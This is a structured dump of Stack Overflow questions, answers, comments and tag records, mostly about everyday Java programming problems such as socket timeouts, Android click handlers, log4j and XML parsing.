type: QuestionComment
comment on: http://stackoverflow.com/q/22269706
has text: Which of those results surprises you and why?

http://stackoverflow.com/comment/33737684
type: Comment
has text: @peeskillet But what about the situation that i need to create more than one JFrame? I need to monitor more than one servers in my case.
type: AnswerComment
comment on: http://stackoverflow.com/a/22220105
score: 0

http://stackoverflow.com/comment/33931584
comment on: http://stackoverflow.com/q/22327979
type: Comment
type: QuestionComment
has text: Your collections arent sorted, you can't use binary search on unsorted collections. Sort them first.
score: 3

http://stackoverflow.com/a/22265762
type: Answer
answers question: http://stackoverflow.com/q/22265690
upvote count: 4
type: AcceptedAnswer
downvote count: 0
score: 4
has body: You can use setSoTimeout() on the socket: Socket echoSocket = new Socket(hostName, portNumber); echoSocket.setSoTimeout(10000); // Readings are timeouting after 10 seconds From the javadoc: Enable/disable SO_TIMEOUT with the specified timeout, in milliseconds. With this option set to a non-zero timeout, a read() call on the InputStream associated with this Socket will block for only this amount of time. If the timeout expires, a java.net.SocketTimeoutException is raised, though the Socket is still valid. The option must be enabled prior to entering the blocking operation to have effect. The timeout must be > 0. A timeout of zero is interpreted as an infinite timeout. Parameters: timeout the specified timeout, in milliseconds. So, when you read the line, you can do that: try { System.out.println("echo: " + in.readLine()); } catch (SocketTimeoutException ste) { // Do something System.out.println("nothing received"); }
accepted answer of: http://stackoverflow.com/q/22265690

http://stackoverflow.com/comment/33808950
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22257397
score: 0
has text: Nope, same issue, can't start a class with '[

http://stackoverflow.com/q/22277652
has title: Best way to handle large number of onClick ids?
type: UnansweredQuestion
tagged with: android
has comment: http://stackoverflow.com/comment/33842686
type: Question
has body: My android application is like a remote control so there is 30 buttons with 30 unique ids set like the following: android:id="@+id/button0" android:id="@+id/button1" . . . android:id="@+id/button29" I want to reduce the very large switch statement I would have to make. Is there a way other than using the switch statement below to handle onClickListener for each of these buttons? public void onClick(View v) { switch (v.getId()) { case R.id.button0: myFunction(0); break; case R.id.button1: myFunction(1); break; . . . case R.id.button29: myFunction(29); break; } } In my ignorance I tried doing the below: String id = Integer.toString(v.getId()); id.replace("button", ""); int buttonNum = Integer.getInteger(id); myFunction(buttonNum); But now I see that v.getId(); will not return button0 for example. Is it possible to get what number the button is (0-29) from the View or id in onClick?
tagged with: java
has answer: http://stackoverflow.com/a/22278707
score: 0
answer count: 1

http://stackoverflow.com/a/22322294
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/22322128
has comment: http://stackoverflow.com/comment/33930066
has body: The null check would check for null, and throw a NullPointerException if null. But that's redundant with the call to e.hasMoreElements() which has the same effect if e is null. The designer chose to be specific about the type of List that the method returns. He wants to be explicit that a copy of the enumeration is made into a new ArrayList and that an ArrayList is returned. That prevents future versions of Java to return another List implementation, but that's very unlikely to happen, and it gives more information to the caller, which can rely on this list to be an ArrayList. Nothing fundamentally wrong with that.
score: 5
has comment: http://stackoverflow.com/comment/33925063
upvote count: 5
answers question: http://stackoverflow.com/q/22322128

http://stackoverflow.com/a/22227321
score: 0
has comment: http://stackoverflow.com/comment/33749987
has comment: http://stackoverflow.com/comment/33751079
type: Answer
has body: Since you are using Linux, there are some configurations which might be changed to solve the problem. First of all, what is happening? After you close the socket in Java, the operating systems sets it to TIME_WAIT state and that is because something still might be sent to the socket, so OS maintains it open for some time to make sure all the packets will be received (basically the packets which are still on the way and you need some kind of response for those must be received). As far as I know it's not an optimal solution for this problem, but it works. You should set tcp_tw_recycle and tcp_tw_reuse to 1, to allow fast re-usage of sockets by OS. Now how it is done, depends on the Linux version you have. For instance in Fedora I could do something like: echo 1 &gt; /proc/sys/net/ipv4/tcp_tw_reuse echo 1 &gt; /proc/sys/net/ipv4/tcp_tw_recycle to set those temporarily (untill reboot). It is up to you to find out how to set those permanently, cuz I'm not very strong at Linux Administration. EDIT: I'm mentioning once again, it is not an optimal solution, try to think what can be changed in application before messing with OS configuration.
has comment: http://stackoverflow.com/comment/33750791
has comment: http://stackoverflow.com/comment/33750164
answers question: http://stackoverflow.com/q/22222038

http://stackoverflow.com/q/22266821
has comment: http://stackoverflow.com/comment/33822635
has comment: http://stackoverflow.com/comment/33822523
type: Question
has comment: http://stackoverflow.com/comment/33822776
has comment: http://stackoverflow.com/comment/33824768
has body: When I read a mp3(.wav) file to my application it raises an error Code: final String RESOURCE_LOCATION = "D:/capture.wav"; try { //AudioInputStream audioIn = AudioSystem.getAudioInputStream(BillForm.class.getResource(RESOURCE_LOCATION)); AudioInputStream audioIn = AudioSystem.getAudioInputStream(new File(RESOURCE_LOCATION)); Clip clip = AudioSystem.getClip(); clip.open(audioIn); clip.start(); } catch(Exception e) { System.out.println(e); } The error is: javax.sound.sampled.LineUnavailableException: line with format PCM_SIGNED 48000.0 Hz, 24 bit, stereo, 6 bytes/frame, little-endian not supported.
score: 0
has comment: http://stackoverflow.com/comment/33822921
has comment: http://stackoverflow.com/comment/33823343
linked to: http://stackoverflow.com/q/21887756
has comment: http://stackoverflow.com/comment/33823036
tagged with: audio
tagged with: java
has comment: http://stackoverflow.com/comment/33822678
type: UnansweredQuestion
tagged with: wav
tagged with: playback
has comment: http://stackoverflow.com/comment/33822858
answer count: 0
has comment: http://stackoverflow.com/comment/33822446
has title: playing mp3 of a certain event is occured

http://stackoverflow.com/a/22196206
upvote count: 2
has comment: http://stackoverflow.com/comment/33694914
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22196185
has body: Rule: If an inner class is used outside of the enclosing class, it must be static. public static class Builder { private Builder() { } } It's by design.
has comment: http://stackoverflow.com/comment/33694995
accepted answer of: http://stackoverflow.com/q/22196185
type: Answer
has comment: http://stackoverflow.com/comment/33694071
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/33694040

http://stackoverflow.com/q/22312921
has comment: http://stackoverflow.com/comment/34347739
tagged with: java
tagged with: design-patterns
has comment: http://stackoverflow.com/comment/33906059
has body: In the decorator pattern, I've been looking at the coffee shop example. I understand how it works, but I was wondering if for some reason only one decorator was allowed at a time, how would you implement the constraint?
type: Question
has title: adding constraints to decorator pattern
has comment: http://stackoverflow.com/comment/33906074
has comment: http://stackoverflow.com/comment/33906029
score: 0
has comment: http://stackoverflow.com/comment/33905632
has comment: http://stackoverflow.com/comment/33937527
tagged with: decorator
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/22211309
tagged with: constraints
answer count: 0

http://stackoverflow.com/a/22295668
accepted answer of: http://stackoverflow.com/q/22295594
answers question: http://stackoverflow.com/q/22295594
upvote count: 8
type: AcceptedAnswer
type: Answer
score: 8
has body: Use c. This built-in converts a number to string for a "computer language" as opposed to for human audience. ${userId?c}
downvote count: 0

http://stackoverflow.com/q/22296698
answer count: 0
tagged with: java
tagged with: process
tagged with: inputstream
type: Question
has body: At the moment, I have a java program which executes the script input.sh as an external process. The script simply echos the line that the user has entered, with an added history functionality. Here is the code for input.sh: #!/bin/sh IFS="" while read -e line do echo $line history -s $line done And here is my java code program Main.java: public class Main { static public void main(String[] args) { try { ProcessBuilder pb = new ProcessBuilder().redirectInput(ProcessBuilder.Redirect.INHERIT); Process script = pb.command("/bin/sh", "-i","input.sh").start(); BufferedReader br = new BufferedReader(new InputStreamReader(script.getInputStream())); String line = null; System.out.println("Starting"); while ((line = br.readLine()) != null) { System.out.println(line); } } catch (IOException e) { } } } Now, when I execute ./input.sh in the terminal, the script behaves exactly as it should. It will display what the user has entered, move the cursor when the left and right arrow keys are pressed (instead of showing ^[[D), pressing up and down will navigate through previously entered commands, and pressing enter will print what the user has just typed. However, when I execute the java program, I cannot see what I am typing, but will display the results just fine. Can somebody tell me why now characters are showing when inputting into the java program? Thanks
has title: Displaying a script's stdin within Java
tagged with: bufferedreader
score: 0
tagged with: bash
has comment: http://stackoverflow.com/comment/33878570
has comment: http://stackoverflow.com/comment/33886555
type: UnansweredQuestion

http://stackoverflow.com/comment/33864102
type: Comment
comment on: http://stackoverflow.com/a/22289222
has text: Right. Of course. I'm going to just stop before I dig myself deeper :)
type: AnswerComment
score: 0

http://stackoverflow.com/comment/33888838
comment on: http://stackoverflow.com/q/22303754
type: QuestionComment
type: Comment
score: 0
has text: Btw, where are the _arrays_ you're mentioning in the title?

javaplot
type: Tag
tags question: http://stackoverflow.com/q/22181196
tag name: javaplot

http://stackoverflow.com/q/22218338
upvote count: 2
tagged with: casting
accepted answer: http://stackoverflow.com/a/22218494
has comment: http://stackoverflow.com/comment/33734153
favorite count: 0
has answer: http://stackoverflow.com/a/22218494
answer count: 4
score: 2
type: AnsweredQuestion
has title: convert Date to a quarter of an hour type JAVA
downvote count: 0
has answer: http://stackoverflow.com/a/22218476
linked to: http://stackoverflow.com/q/9001384
type: Question
possible better answer: http://stackoverflow.com/a/22218482
tagged with: java
has comment: http://stackoverflow.com/comment/33734363
has answer: http://stackoverflow.com/a/22218482
has body: I am looking for a way to convert the datatype DATE [JAVA] to a quarter of an hour format, so that 2010-08-15 12:05:15 will be 2010-08-15 12:00:00 Are there any ready to go methods in JAVA already? How would you do this? Any hints/suggestions?
duplicate of: http://stackoverflow.com/q/9001384
tagged with: date
has answer: http://stackoverflow.com/a/22218903
has comment: http://stackoverflow.com/comment/33734259

http://stackoverflow.com/q/22174867
has title: How can I extract the multiple attributes that are the same, from an XML node in Java
has answer: http://stackoverflow.com/a/22175185
tagged with: http://stackoverflow.com/tag/xml
type: AnsweredQuestion
tagged with: java
has answer: http://stackoverflow.com/a/22197740
tagged with: dom
has answer: http://stackoverflow.com/a/22175149
type: Question
accepted answer: http://stackoverflow.com/a/22197740
possible better answer: http://stackoverflow.com/a/22175149
score: 0
has body: I currently have an XML file from a Garmin Sat Nav, which I want to extract data from using Java. However, I cannot find a way to extract the TRACK latitudes and longitudes, because there are multiple attributes with the same name, within a single node. I thought of using something like "getAttribute("lat")", but apparntly this would only return the first latitude of the first track segment :-( I haven't yet started the project, because it is crucial that I extract the latitudes and longitudes from the XML file. Any help would be greatly appreciated :-) XML FILE <gpx xmlns="http://www.topografix.com/GPX/1/1" xmlns:gpxx="http://www.garmin.com/xmlschemas/GpxExtensions/v3" xmlns:gpxtpx="http://www.garmin.com/xmlschemas/TrackPointExtension/v1" creator="Oregon 400t" version="1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd http://www.garmin.com/xmlschemas/GpxExtensions/v3 http://www.garmin.com/xmlschemas/GpxExtensionsv3.xsd http://www.garmin.com/xmlschemas/TrackPointExtension/v1 http://www.garmin.com/xmlschemas/TrackPointExtensionv1.xsd"> Garmin International 2009-10-17T22:58:43Z <trk> Example GPX Document 4.46 2009-10-17T18:37:26Z 4.94 2009-10-17T18:37:31Z 6.87 2009-10-17T18:37:34Z Hi, I tried the below code, but for some reason I'm retrieving a value, that I can't even find in my XML file!!! package Test; import java.io.File; import javax.xml.parsers.*; import javax.xml.xpath.*; import org.w3c.dom.Document; public class ReadXMLFile2 { public static void main(String[] args) throws Exception { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); Document document = db.parse(new File("J:/Desktop/Current.gpx")); XPath xpath = XPathFactory.newInstance().newXPath(); System.out.println(xpath.evaluate("//trkseg/trkpt/@lat", document)); } }
answer count: 3

http://stackoverflow.com/comment/33774220
score: 0
has text: @Gray so at the end it seems that my assumption of AtomicBoolean[] performing better under heavy concurrent scenarios is proven by your test. Thanks for your time. Very good job.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22237241

http://stackoverflow.com/a/22217561
accepted answer of: http://stackoverflow.com/q/22217470
type: Answer
score: 7
upvote count: 7
has comment: http://stackoverflow.com/comment/33732944
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/22217470
has body: You can use NumberFormat with Locale#US: NumberFormat.getNumberInstance(Locale.US).format(number); Or DecimalFormat: DecimalFormat formatter = new DecimalFormat("#,###"); String newNumber = formatter.format(number);

http://stackoverflow.com/a/22290439
has body: Seems like something the factory pattern can solve. Create a car service factory and send in the car as a parameter and have the factory return the appropriate car service. public class CarServiceFactory { public CarService getCarService(Car car) { if (car instanceof Ferrari) { return new FerrariService(); } ... } } Then your FerrariCarService and MercedesCarService will need to implement CarService.
answers question: http://stackoverflow.com/q/22277349
score: 0
type: Answer

http://stackoverflow.com/comment/33685583
type: Comment
has text: how do i get the data in the servlet/jsp ? Should i use getStream() or request.getParameter()
comment on: http://stackoverflow.com/a/22191169
type: AnswerComment
score: 0

http://stackoverflow.com/comment/33676027
comment on: http://stackoverflow.com/q/22184921
score: 0
type: Comment
type: QuestionComment
has text: With method 2, when you remove 5, it removes 5 AND 7?

http://stackoverflow.com/a/22176347
type: Answer
answers question: http://stackoverflow.com/q/22176253
has body: read line by line from the file, then: String yourValue = line.replaceAll("&lt;[^&gt;]*&gt;",""); be careful, using regex to "parse" html is not the right way. For example, if there was line breaks in your html codes, the regex replace will fail.
score: 0

http://stackoverflow.com/comment/33671586
type: AnswerComment
comment on: http://stackoverflow.com/a/22183242
score: 0
type: Comment
has text: OK, then OP just needs to populate the instances and return the list containing them.

http://stackoverflow.com/comment/33648882
comment on: http://stackoverflow.com/q/22170176
has text: How rewrite? Just copy input to destination output for basic functionality.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22311421
answers question: http://stackoverflow.com/q/22219392
type: Answer
has body: I had the same problem also. I fixed the problem follow the Werner recomendation. Eclipse --> Help --> Install new software --> Pasted URL http://dl-ssl.google.com/android/eclipse/ It fixed my problem.
score: 0

primefaces
tags question: http://stackoverflow.com/q/22325613
tags question: http://stackoverflow.com/q/22275307
tags question: http://stackoverflow.com/q/22247191
tags question: http://stackoverflow.com/q/22203420
tag name: primefaces
tags question: http://stackoverflow.com/q/22221552
tags question: http://stackoverflow.com/q/22172036
tags question: http://stackoverflow.com/q/22240352
tags question: http://stackoverflow.com/q/22253384
tags question: http://stackoverflow.com/q/22175974
tags question: http://stackoverflow.com/q/22253388
tags question: http://stackoverflow.com/q/22284203
tags question: http://stackoverflow.com/q/22296133
tags question: http://stackoverflow.com/q/22220673
tags question: http://stackoverflow.com/q/22259768
tags question: http://stackoverflow.com/q/22223883
type: Tag
tags question: http://stackoverflow.com/q/22198707

http://stackoverflow.com/comment/33879767
score: 0
type: Comment
has text: dear LuS.where i have to add your code fragment.please can u add as answer.?
type: QuestionComment
comment on: http://stackoverflow.com/q/22298637

http://stackoverflow.com/comment/33703816
comment on: http://stackoverflow.com/q/22201358
score: 1
has text: If you show two code blocks that are "virtually identical" it would be a nice gesture to point out where exactly they differ, rather than to let everyone find out by themselves...
type: Comment
type: QuestionComment

heap-memory
tag name: heap-memory
tags question: http://stackoverflow.com/q/22190591
tags question: http://stackoverflow.com/q/22266942
type: Tag
tags question: http://stackoverflow.com/q/22215994
tags question: http://stackoverflow.com/q/22254273

http://stackoverflow.com/comment/33724372
has text: Still not compiling on the first line of that last bit of code where the array is declared, Im lost :(
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22211987

http://stackoverflow.com/comment/33931033
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22327421
has text: The problem here is not related with (k+2)<oh.size(), since he gets the exception on index 0, it means that the list is empty.
type: Comment

http://stackoverflow.com/q/22222491
has comment: http://stackoverflow.com/comment/33742424
tagged with: windows-8
tagged with: java
tagged with: manifest.mf
has title: Java Manifest not working on Windows 8
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33741266
favorite count: 0
has body: I made an jar program "AbLauncher v0.1.0.jar" and It ran it successfully. but when I gave it to the Windows 8 user, he says that he got this error while running on cmd: Cannot Find or Load main class AbLauncher But, the main class specified by Manifest was launch.Launch, not 'AbLauncher'. 'AbLauncher' was just the jar name: AbLauncher v0.1.0.jar. Can Anyone Explain why this error happens? Manifest file was: Manifest-Version: 1.0 Main-Class: launcher.Launcher File Directory setting was form/ launcher/ (launcher/Launcher.class is main class) META-INF/ resource/ server/ settings/ util/ Of course other class files exists here, but i couldn't write all of them... and there's nothing like: AbLauncher.class
answer count: 0
type: UnansweredQuestion
upvote count: 1
type: Question

http://stackoverflow.com/comment/41053303
type: Comment
has text: I learn this technique from you! it works well but I wonder if there is even a "cleaner" way to handle this common situation.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25945556

http://stackoverflow.com/a/22271716
answers question: http://stackoverflow.com/q/22271559
score: 0
type: Answer
has body: The best way to do is declare a counter and increment when you are accessing the has next. In the logic if i will express, then that will be like this. private int counter = 0; public boolean hasNext(){ counter = counter &lt; collection.size()? counter + 1: counter;// increment return counter &lt; collection.size();// check and give the appropriate boolean value } public T next(){ return collection.get(counter);// to get the counter number of element } where counter is the private variable in the class and T is the generic type on which type of object the collection is build up. like Collection&lt;String&gt; This answer is all about logic. it may or may not contain the exact code.

http://stackoverflow.com/q/22239694
upvote count: 0
has answer: http://stackoverflow.com/a/22239835
accepted answer: http://stackoverflow.com/a/22239835
tagged with: count
type: Question
has comment: http://stackoverflow.com/comment/33773672
has answer: http://stackoverflow.com/a/22239743
score: -2
tagged with: java
has answer: http://stackoverflow.com/a/22239811
has comment: http://stackoverflow.com/comment/33773677
has comment: http://stackoverflow.com/comment/33773683
possible better answer: http://stackoverflow.com/a/22239743
downvote count: 2
answer count: 3
has title: Java count to the number
favorite count: 0
has body: I am new in JAVA i do not know how to make a count program, for example I will write a number ex. 16 and the program to count to the 16 but to go like 1, 3, 5, 7, 9 public static void main(String[] args) { Scanner java = new Scanner(System.in); int from; int to; System.out.println("Enter a number: "); to = (int) java.nextDouble(); for (from = 1; from &lt; to; from++) { System.out.println(to); } } Thank you.
has comment: http://stackoverflow.com/comment/33773790
type: AnsweredQuestion

http://stackoverflow.com/a/22203315
has comment: http://stackoverflow.com/comment/33745208
type: Answer
has body: Now probably nobody create applications in raw Servlets/JSP. Tables, lists, buttons and other components you have out of the box in JSF. IMHO best library for that is Primefacs. If you not like JSF, try GWT, Vaadin. If i can give you advice try this project schema JSF(presentation layer) ->EJB/Spring(service layer) -> Hibernate to persist data. Of course you may do this in JSP and XMLHttpRequest but for what? It's not effective, better and faster approach, is writing software in higher abstraction level.
has comment: http://stackoverflow.com/comment/33708323
answers question: http://stackoverflow.com/q/22203056
score: 0

http://stackoverflow.com/q/22295784
answer count: 1
tagged with: http://stackoverflow.com/tag/xml
tagged with: xmlunit
has comment: http://stackoverflow.com/comment/33882584
has title: Call an XMLUnit-test from another class
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22301709
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/22301709
has body: I'm using XMLUnit to compare two XMLs. This works fine when i perform the test class manual as a jUnit test. But now i want to call the tests i have from another class. I can perform the testMethod, but nothing happens here an example for the class with the test: public class Tests extends XMLTestCase{ public void testForEquality() throws Exception { String myControlXML = " 2376 23767 "; String myTestXML = " 2376 23767 "; assertXMLEqual(myControlXML, myTestXML); } } here what i have tried to call it from another class: public class testExternalCall{ public static void main(String[] args) { Tests compareTest= new Tests (); compareTest.testForEquality(); } } Blue
score: 0
has comment: http://stackoverflow.com/comment/33877030

http://stackoverflow.com/q/22240466
has comment: http://stackoverflow.com/comment/33774893
has answer: http://stackoverflow.com/a/22241195
has comment: http://stackoverflow.com/comment/33774874
has title: What's the source of this NullPointerException
tagged with: java
accepted answer: http://stackoverflow.com/a/22240853
has body: OK, so I'm writing an Android app, and am trying to download a Bitmap and set it as an ImageView. The code is below for the relevant parts: private class GetContactInfo extends AsyncTask&lt;String, Void, ContactInfo[]&gt; { @Override protected ContactInfo[] doInBackground(String... url) { // Instantiate what is needed URL json = null; //Set the JSON URL try { json = new URL(url[0]); } catch (MalformedURLException e1) { e1.printStackTrace(); } // Use Jackson library to read out the data from the contacts page try { contacts = mapper.readValue(json, ContactInfo[].class); } catch (JsonParseException e) { e.printStackTrace(); } catch (JsonMappingException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } //Add everything into the bitmap ArrayList for (int i = 0; i &lt; contacts.length; i++) { String imageURL = contacts[i].getSmallImageURL(); // Download the Bitmap and add it to the ArrayList try { bitmap.add(downloadBitmap(imageURL)); } catch (IOException e) { e.printStackTrace(); } } // Return statement return contacts; } public Bitmap downloadBitmap(String imageURL) throws IOException { URL url = new URL(imageURL); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setDoInput(true); connection.connect(); InputStream stream = connection.getInputStream(); Bitmap bitmap = BitmapFactory.decodeStream(stream); if (bitmap == null) { Log.e("Null", "Bitmap null"); } return bitmap; } The log never catches that bitmap is null, or at least it doesn't show it (I see in the stack trace that there are 4 more errors, but they never show up and I'm not sure how to expand it to show the other errors.) The NullPointerException comes at the bitmap.add(downloadBitmap(imageURL)); line. So somehow my downloadBitmap function is returning a null result. Any ideas? Edit: I'm not sure if this matters, but the images in the URLs are .jpeg files. Edit 2: Put this in the comments so I will edit it into my post as well, bitmap is declared as…
type: Question
answer count: 3
has comment: http://stackoverflow.com/comment/33774979
has answer: http://stackoverflow.com/a/22240853
has comment: http://stackoverflow.com/comment/33774970
has answer: http://stackoverflow.com/a/22240587
score: 0
tagged with: nullpointerexception
tagged with: android
has comment: http://stackoverflow.com/comment/33775453
has comment: http://stackoverflow.com/comment/33774919
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/22240587

http://stackoverflow.com/q/22317848
answer count: 2
has answer: http://stackoverflow.com/a/22317900
has comment: http://stackoverflow.com/comment/33914079
possible better answer: http://stackoverflow.com/a/22317902
has answer: http://stackoverflow.com/a/22317902
upvote count: 1
favorite count: 0
has body: I see the below code in my application to read from buffered reader by limiting the amount of data being read. public static String readBuffer(Reader reader, int limit) throws IOException { StringBuilder sb = new StringBuilder(); for (int i = 0; i &lt; limit; i++) { int c = reader.read(); if (c == -1) { return ((sb.length() &gt; 0) ? sb.toString() : null); } if (((char) c == '\n') || ((char) c == '\r')) { break; } sb.append((char) c); } return sb.toString(); } Can someone please explain to me what these lines in the code indicate? Why do we need it? if (((char) c == '\n') || ((char) c == '\r')) { break; }
tagged with: escaping
type: AnsweredQuestion
downvote count: 0
accepted answer: http://stackoverflow.com/a/22317900
score: 1
tagged with: java
has title: Read from buffered reader by limiting the amount of data being read
type: Question

http://stackoverflow.com/q/22316462
upvote count: 2
has body: our company has 7 factories those are located in different geographical areas and interconnected by leased line and all are in one domain in windows server. I have to develop a procurement system which will be used by users who are in each location. I can have one centralized database. I am thinking to design this using 3 tier architecture. currently the design in my mind is as below. (I haven't designed a system in 3-tier before). 1.install business layer in a server in each location. 2.install data access layer in head office in which the database in located. 3.install presentation layer in each users computer(can be swing application or web browser). is this method worth? other questions are 1. what is the advantage of installing business layer in each locations server or install it in head office server is enough? 2.what are the technologies to passing messages between tiers in different locations. e.g: call a method "savePurchaseOreder(purchaseOrder)" in data access layer in head office from object in business layer in remote location
tagged with: java
type: Question
tagged with: c#
answer count: 3
downvote count: 0
has answer: http://stackoverflow.com/a/22624020
favorite count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22316618
has answer: http://stackoverflow.com/a/22318105
score: 2
has title: 3 tier architecture system

http://stackoverflow.com/q/22270098
has comment: http://stackoverflow.com/comment/33828632
tagged with: logging
type: AnsweredQuestion
tagged with: java
has comment: http://stackoverflow.com/comment/33828044
has answer: http://stackoverflow.com/a/26266223
type: Question
accepted answer: http://stackoverflow.com/a/26266223
has title: Logging to different files with log4j
score: 0
has body: I am trying to use log4j in my java app. I need to write only DEBUG logs to debug.log file, only INFO logs to info.log file and only ERROR logs to error.log file. I manage to write debug and error logs to their appropriate files, but info is not working. I could not understand why it is not working. And I would like to ask for your help whether it is possible also to write only debug and info logs to console at the same time. RESULT 3 files are created for each level of log(debug.log, info.log and error.log) DEBUG logs are written to debug.log, ERROR logs are written to error.log but INFO logs are not written to neither info.log nor debug.log or error.log ! <?xml version="1.0" encoding="UTF-8" ?> <log4j:configuration xmlns:log4j="http://jakarta.apache.org/log4j/"> <level value="info"/> <appender-ref ref="file1" /> <appender-ref ref="file2" /> <appender-ref ref="file3" /> </log4j:configuration>
answer count: 1
tagged with: log4j

http://stackoverflow.com/a/22214819
score: 2
answers question: http://stackoverflow.com/q/22214752
upvote count: 2
accepted answer of: http://stackoverflow.com/q/22214752
type: AcceptedAnswer
downvote count: 0
has body: Change your ListNode variable names to first and second, and it will be easier to spot the issues. You don't properly swap nor do you properly iterate both ListNodes. You must iterate both by 2. public void switchPairs() { ListNode first = front;//first node in pair ListNode second = front.next;//second node in pair //while the both nodes are not null while(first != null &amp;&amp; second != null) { int i = first.data;//put first value in temp value first.data = second.data;//put second value in first node second.data = i;//put temp value (first value) in second node //NOTE: do some null pointer checks here just in case first = second.next;//iterate first node second = second.next.next;//iterate second node } }
type: Answer

http://stackoverflow.com/a/22239551
accepted answer of: http://stackoverflow.com/q/22239485
answers question: http://stackoverflow.com/q/22239485
has body: Here is an example that creates a BufferedImage of a solid color from an Array: import java.awt.*; import java.awt.image.*; import javax.swing.*; public class ImageFromArray2 extends JFrame { int width = 50; int height = 50; int imageSize = width * height * 3; public ImageFromArray2() { JPanel panel = new JPanel(); getContentPane().add( panel ); int[] pixels = new int[imageSize]; // Create Red Image for (int i = 0; i &lt; imageSize; i += 3) { pixels[i] = 255; pixels[i+1] = 0; pixels[i+2] = 0; } panel.add( createImageLabel(pixels) ); // Create Green Image for (int i = 0; i &lt; imageSize; i += 3) { pixels[i] = 0; pixels[i+1] = 255; pixels[i+2] = 0; } panel.add( createImageLabel(pixels) ); // Create Blue Image for (int i = 0; i &lt; imageSize; i += 3) { pixels[i] = 0; pixels[i+1] = 0; pixels[i+2] = 255; } panel.add( createImageLabel(pixels) ); // Create Cyan Image for (int i = 0; i &lt; imageSize; i += 3) { pixels[i] = 0; pixels[i+1] = 255; pixels[i+2] = 255; } panel.add( createImageLabel(pixels) ); } private JLabel createImageLabel(int[] pixels) { BufferedImage image = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB); WritableRaster raster = image.getRaster(); raster.setPixels(0, 0, width, height, pixels); JLabel label = new JLabel( new ImageIcon(image) ); return label; } public static void main(String args[]) { JFrame frame = new ImageFromArray2(); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.pack(); frame.setLocationRelativeTo( null ); frame.setVisible( true ); } } You should be able to modify it to create an image with four colors in the same image.
score: 3
has comment: http://stackoverflow.com/comment/33774898
type: AcceptedAnswer
downvote count: 0
type: Answer
upvote count: 3

http://stackoverflow.com/comment/33812244
type: AnswerComment
comment on: http://stackoverflow.com/a/22224184
type: Comment
has text: `update` -> `nextTask` -> `updateTask` -> `addAsset` (which gets `task.getAsset` as a parameter) That's how the asset gets added to the map in the update call.
score: 0

jtree
tags question: http://stackoverflow.com/q/22296314
tags question: http://stackoverflow.com/q/22292073
tags question: http://stackoverflow.com/q/22317870
tag name: jtree
type: Tag

http://stackoverflow.com/a/22212019
answers question: http://stackoverflow.com/q/22177660
type: Answer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/66114166
has body: Graph API doesn't provide an explicit share operation, but you can create a post which is a link to another post, which should be displayed as a share. Something like this: fb.publish("me/feed", FacebookType.class, Parameter.with("link", "https://www.facebook.com/10152237769155733"));
upvote count: 1

http://stackoverflow.com/comment/33855021
type: Comment
type: QuestionComment
score: 0
has text: no no the idea was that i would add an option like exit which would system.exit(0);
comment on: http://stackoverflow.com/q/22284832

http://stackoverflow.com/q/22271103
type: Question
score: 0
answer count: 1
has title: Servlet Printout error
type: UnansweredQuestion
has body: I want to print out a column from my MySQL database. I have a calendar system, where you can choose a "from" date "to" date. When you choose the time period, it should print out the COLUMN "Allday_hours" from MySQL database. I am using a javascript, AJAX and JSON. This is calling my servlet. The first servlet I made does not print anything out, but it gave me a success. Therefore with help from someone on stack overflow the code got changed, and it looks more correct, but now it gives me a failure. I made 2 videos of it. Can anyone see what is wrong here? The javascript code I used for both servlets Best Regards Mads The first servlet where it is success: Video: https://www.youtube.com/watch?v=UzdvQ4B9clw&amp;feature=youtu.be Servlet code: package WorkPackage; import java.io.*; import java.sql.*; import javax.servlet.*; import javax.servlet.annotation.WebServlet; import javax.servlet.http.*; @WebServlet("/getHoursSQL") public class getHoursSQL extends HttpServlet{ private static final long serialVersionUID = 1L; @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doPost(request, response); } public void doPost(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException{ String connectionURL = "jdbc:mysql://localhost/NekiWork"; Connection connection=null; res.setContentType("text/html"); PrintWriter out = res.getWriter(); try { Class.forName("com.mysql.jdbc.Driver"); connection = DriverManager.getConnection(connectionURL, "root", ""); String sql = "SELECT *, (Day_hours + (Day_minutes / 100)) AS Allday_hours FROM Workdata"; PreparedStatement pst = connection.prepareStatement(sql); pst.execute(sql); pst.close(); } catch(ClassNotFoundException e){ out.println("Couldn't load database driver: " + e.getMessage()); } catch(SQLException e){ out.println("SQLException caught: " + e.getMessage()); } catch (Exception e){ out.println(e); } finally { try { if (connection != null) …
tagged with: java
tagged with: mysql
has answer: http://stackoverflow.com/a/22272244
tagged with: servlets

http://stackoverflow.com/comment/33680541
type: AnswerComment
has text: also remember to loop your input at the client side.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22187734

http://stackoverflow.com/a/22333698
answers question: http://stackoverflow.com/q/22312332
upvote count: 2
downvote count: 0
